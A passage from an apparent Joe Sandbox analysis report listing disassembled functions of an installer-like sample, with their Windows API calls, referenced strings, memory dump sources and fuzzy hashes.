FindClose.KERNEL32(000000FF,0047F9AF,0047F9A8,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B,?), ref: 0047F9A2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: d71ed79f5e3cae8dbdb8f9366932315e37cb591a7859d28a8b9a768ac6bf17e9
Instruction ID: 945984253e7709c97adc8e2d755cc1877c70959f01d2b28a808f8207dce1d898
Opcode Fuzzy Hash: d71ed79f5e3cae8dbdb8f9366932315e37cb591a7859d28a8b9a768ac6bf17e9
Instruction Fuzzy Hash: FD513E71900648AFCB20EF65CC45ADEB7B8EB88315F1084BAA418E7351D7389F89CF55

Function 00421274 Relevance: 6.1, APIs: 4, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 00421361
SetMenu.USER32(00000000,00000000), ref: 0042137E
SetMenu.USER32(00000000,00000000), ref: 004213B3
SetMenu.USER32(00000000,00000000), ref: 004213CF

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
Instruction ID: 68e231870b0c3442489bede8fdcf2aa1db34e154331db007d9f14f65c1163b63
Opcode Fuzzy Hash: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
Instruction Fuzzy Hash: 4641AE3070425447EB20EA3AA9857AB36925B20308F4841BFFC40DF7A3CA7CDD45839D

Function 00416B42 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 00416B84
SetTextColor.GDI32(?,00000000), ref: 00416B9E
SetBkColor.GDI32(?,00000000), ref: 00416BB8
CallWindowProcA.USER32(?,?,?,?,?), ref: 00416BE0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
Instruction ID: 4ea48ea5c9b96bae81565ca4ce64eb356f32bd46963e120bc97d04dec40f2685
Opcode Fuzzy Hash: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
Instruction Fuzzy Hash: BC115171705604AFD710EE6ECC84E8777ECEF49310715887EB959CB612C638F8418B69

Function 00454F7C Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
String ID:
API String ID: 4071923889-0
Opcode ID: 7a90289248fc1b73338e990bec893a2b2f0b3f31367c070c083f3916a619ed36
Instruction ID: ea90b2abd28d60bbe0c33bbe6d7a83e36ef454db8471bda6b5c19e9a906557d9
Opcode Fuzzy Hash: 7a90289248fc1b73338e990bec893a2b2f0b3f31367c070c083f3916a619ed36
Instruction Fuzzy Hash: B9012D31A006097FEB1097AA8C02F6FBBECDF49764F610127F904D72C2C5788D409A78

Function 004230C8 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042311E
EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
ReleaseDC.USER32(00000000,00000000), ref: 00423144

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CapsDeviceEnumFontsRelease
String ID:
API String ID: 2698912916-0
Opcode ID: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
Instruction ID: a9d24610abdaa6694e735d00c6d38f20457f2ac5f1468c421a1b182fb2ef8db9
Opcode Fuzzy Hash: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
Instruction Fuzzy Hash: 8D01CC716042102AE700BF6A5C82B9B3AA49F01319F40027BF808AA3C6DA7E980547AE

Function 004019CC Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 46a689739c098c0829933ff4921327776432a14e69d4c62b65241a59cfc7f4a2
Instruction ID: 91310e2de28581c92a9b529d79901d52005bdf0b1253609ef7109df0d78d257f
Opcode Fuzzy Hash: 46a689739c098c0829933ff4921327776432a14e69d4c62b65241a59cfc7f4a2
Instruction Fuzzy Hash: D001A1706482409EE719AB69BA467253FD4D795B48F11803BF840A6BF3C77C4440EBAD

Function 0045C0B4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C192,00000000,0045C31D,?,00000000,00000002,00000002), ref: 00450933

FlushFileBuffers.KERNEL32(?), ref: 0045C2E9

Strings

EndOffset range exceeded, xrefs: 0045C21D
NumRecs range exceeded, xrefs: 0045C1E6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: File$BuffersFlush
String ID: EndOffset range exceeded$NumRecs range exceeded
API String ID: 3593489403-659731555
Opcode ID: 8bf98c9d60884cf3bb303afe6a2d902a3b8c4cda653ee0cbd8c8d24135a36091
Instruction ID: 054e4d8252a4b7fe708e1d13fc1942b3136e6dcde41ac9beef610e5760cb7d56
Opcode Fuzzy Hash: 8bf98c9d60884cf3bb303afe6a2d902a3b8c4cda653ee0cbd8c8d24135a36091
Instruction Fuzzy Hash: D3615434A002588FDB25DF25D881AD9B7B5AF49305F0084DAED89AB353D774AEC8CF54

Function 00498718 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 00403344: GetModuleHandleA.KERNEL32(00000000,00498726), ref: 0040334B
Part of subcall function 00403344: GetCommandLineA.KERNEL32(00000000,00498726), ref: 00403356

Part of subcall function 0040631C: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498730), ref: 00406322
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
Part of subcall function 0040631C: SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498730), ref: 00406366

Part of subcall function 004063C4: 6F551CD0.COMCTL32(00498735), ref: 004063C4

Part of subcall function 00410764: GetCurrentThreadId.KERNEL32 ref: 004107B2

Part of subcall function 00419040: GetVersion.KERNEL32(0049874E), ref: 00419040

Part of subcall function 0044F744: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498762), ref: 0044F77F
Part of subcall function 0044F744: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785

Part of subcall function 0044FC10: GetVersionExA.KERNEL32(0049B790,00498767), ref: 0044FC1F

Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 00453210
Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 0045322A
Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230

Part of subcall function 00456F00: GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 00456F24

Part of subcall function 00464468: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049878A), ref: 00464477
Part of subcall function 00464468: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 0046447D

Part of subcall function 0046CC64: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CC79

Part of subcall function 00478740: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498794), ref: 00478746
Part of subcall function 00478740: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478753
Part of subcall function 00478740: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478763

Part of subcall function 00483A6C: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 00483B5B

Part of subcall function 00495724: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 0049573D

SetErrorMode.KERNEL32(00000001,00000000,004987DC), ref: 004987AE

Part of subcall function 004984D8: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,004987B8,00000001,00000000,004987DC), ref: 004984E2
Part of subcall function 004984D8: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004984E8

Part of subcall function 004244D4: SendMessageA.USER32(?,0000B020,00000000,?), ref: 004244F3

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

ShowWindow.USER32(?,00000005,00000000,004987DC), ref: 0049880F

Part of subcall function 004820AC: SetActiveWindow.USER32(?), ref: 0048215A

Strings

Setup, xrefs: 004987F5

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$HandleModule$Window$Version$ActiveClipboardCommandCurrentErrorF551FormatLibraryLineLoadMessageModePolicyProcessRegisterSendShowTextThread
String ID: Setup
API String ID: 3870281231-3839654196
Opcode ID: 4026870168645be20c4e504289bca16f7fc9894158eff1610b8fe089479f565d
Instruction ID: 72ad643eee306aeb53380572695708c68149a0501138caf3355f256a6ce1e3ac
Opcode Fuzzy Hash: 4026870168645be20c4e504289bca16f7fc9894158eff1610b8fe089479f565d
Instruction Fuzzy Hash: 7931C5712046409ED705BBBBAC5392D3B94EF8A728BA2447FF80486593DE3C58508A7F

Function 00453A24 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A6A
GetLastError.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A73

Strings

.tmp, xrefs: 00453A53

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 7172d9ffade96b62561a832a68f8cbe161be4b5cae50dfb87ffdb02f7c338e4f
Instruction ID: ea6adcadec8e2c01cafa1ba510acc1338588d6ec7b4e1cf88163bb5bfef62d35
Opcode Fuzzy Hash: 7172d9ffade96b62561a832a68f8cbe161be4b5cae50dfb87ffdb02f7c338e4f
Instruction Fuzzy Hash: A9213575A002089BDB01EFA1C8429DEB7B8EF49305F50457BE801B7343DA3CAF058B69

Function 00483A6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00483560: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483571
Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0048357E
Part of subcall function 00483560: GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0048358C
Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483594
Part of subcall function 00483560: GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 004835A0
Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 004835C1
Part of subcall function 00483560: GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004835D4
Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 004835DA

Part of subcall function 0048388C: GetVersionExA.KERNEL32(?,00483A9E,00000000,00483B73,?,?,?,?,?,00498799), ref: 0048389A
Part of subcall function 0048388C: GetVersionExA.KERNEL32(0000009C,?,00483A9E,00000000,00483B73,?,?,?,?,?,00498799), ref: 004838EC

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 00483B5B

Strings

SHGetKnownFolderPath, xrefs: 00483B46
shell32.dll, xrefs: 00483B50

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$HandleModuleVersion$CurrentErrorInfoLibraryLoadModeNativeProcessSystem
String ID: SHGetKnownFolderPath$shell32.dll
API String ID: 3869789854-2936008475
Opcode ID: 36bbd7205677a14235ded179242f98fe4396733ea939f399f849956901c26b03
Instruction ID: 33d3db6593e9873a674f830e342c1c65c6cab746408e9d399a43700aa418428b
Opcode Fuzzy Hash: 36bbd7205677a14235ded179242f98fe4396733ea939f399f849956901c26b03
Instruction Fuzzy Hash: 672100B06503516EC300BF7E59A661A3BA5EB5474C380893FF804EB3D2D77E68145BAE

Function 0047C0C8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047C41C,00000000,0047C432), ref: 0047C12A

Strings

RegisteredOwner, xrefs: 0047C107
RegisteredOrganization, xrefs: 0047C119

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 0e90ec8331aa68b80fdbd6afaabfad8867ded4c3b6cad332e65b349247218e2d
Instruction ID: 6af266579ce0f4cae339b7a6725c06c490679c1ac7d4d5cc7f46b4f942b6f465
Opcode Fuzzy Hash: 0e90ec8331aa68b80fdbd6afaabfad8867ded4c3b6cad332e65b349247218e2d
Instruction Fuzzy Hash: 32F0B430704244AFDB04DAA8EDD2BAA776AD741304FA4803FE1048F382D679DE019BAC

Function 004750C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,004752F7), ref: 004750E5
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,004752F7), ref: 004750FC

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F

Strings

CreateFile, xrefs: 004750F1

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: CreateFile
API String ID: 2528220319-823142352
Opcode ID: bbf61bf67fe349c097a8a02b07410db95704594b340b54041ead5b805cfa0960
Instruction ID: 6399d4087dc53d24fa9d3bc8bb06fd86b45c214eecae9240140a798b65cacfb0
Opcode Fuzzy Hash: bbf61bf67fe349c097a8a02b07410db95704594b340b54041ead5b805cfa0960
Instruction Fuzzy Hash: 18E06D302407447BEA10FA69CCC6F4A77989B04768F10C162FA48AF3E2C5B9EC408658

Function 00456F00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00456E90: CoInitialize.OLE32(00000000), ref: 00456E96

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 00456F24

Strings

SHCreateItemFromParsingName, xrefs: 00456F0F
shell32.dll, xrefs: 00456F19

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressErrorInitializeLibraryLoadModeProc
String ID: SHCreateItemFromParsingName$shell32.dll
API String ID: 2906209438-2320870614
Opcode ID: 3ee7a517847f468c0619dab237ccb69dbf9a8b231eaadc82d937c3bc473404de
Instruction ID: 06a1b1eafb8ede6a4ef061af05be88198505768e1dcfa776260a5a664dfb1d55
Opcode Fuzzy Hash: 3ee7a517847f468c0619dab237ccb69dbf9a8b231eaadc82d937c3bc473404de
Instruction Fuzzy Hash: BBC04CA1F5271156CA00BBFA655361F2805DB5031FBD2803FB948A7587CE7C9C095B6E

Function 0046CC64 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CC79

Strings

SHPathPrepareForWriteA, xrefs: 0046CC64
shell32.dll, xrefs: 0046CC6E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressErrorLibraryLoadModeProc
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2492108670-2683653824
Opcode ID: 86cf81fee744bb21f40f36152ca0a59654e50c5ee39d1ae44c17eff86845b0ac
Instruction ID: d379c4162c5a45317e257a8b9368072ef34678a45322f04a033aff34d3fd6743
Opcode Fuzzy Hash: 86cf81fee744bb21f40f36152ca0a59654e50c5ee39d1ae44c17eff86845b0ac
Instruction Fuzzy Hash: 4BB092A06027018ADB00F7F258A662B28099B40319B20803B71889B685EE3C88004BAF

Function 0044852C Relevance: 4.7, APIs: 3, Instructions: 151libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,00448709), ref: 0044864C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004486CD

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
